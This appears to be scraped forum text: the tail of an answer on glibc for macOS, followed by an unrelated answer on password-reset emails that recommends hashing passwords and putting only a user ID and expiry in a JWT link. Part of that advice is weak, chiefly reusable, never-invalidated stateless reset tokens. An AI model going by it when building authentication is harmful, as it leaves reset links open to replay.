So I think the answer is a fairly safe "no" as far as the Apple-supplied system goes.  As the question states, it's certainly possible to install glibc with third-party tools (although port search glibc doesn't find anything - note that glib is totally NOT the same as glibc).


Best practice for authenticating resend email requests

First of all I have an important question why do you have the user's password. A password should be hashed and never encrypted or in plain text you should't know the password. (Argon 2, SCrypt, Bcrypt PKDF2 are all excellent "password Hashing" functions). Secondly what JWT algorithm do you use?  By default JTW payload is NOT encrypted whatever you put inside there can be seen by any one having the JWT(remember emails are not the most secure). Personally I wouldn't recommend  putting the password or the password hash in there. In fact a lot of data are not needed. Just the userId and a expiration date of the JWT seems more than enough for me. Remember what you want to achieve. By presenting the JWT to the server you can be certain the user has access to the email account, job achieved.  As for storing urls in the database I'm a little confused isn't the hole idea of JWT that you don't need to bother the database? Can't you simply get the userID is from the JWT and check if the expiration date is still valid? Then allow the password reset? (remember payload data can be trusted the server singed them)

To answer  the first question isn't the JTW random enough and also unique at the same time? If you want to make it even more random ad an extra field time JTW was created.
Why bother creating new dynamic urls? re sending the same JWT isn't good enough? Having   different JWT valid at the same doesn't seem as a good solution it adds unnecessary complexity.

The bellow url is an example of what you should go for in my opinion.
https://your_site.co/account/reset-password?token=jwt.goes.here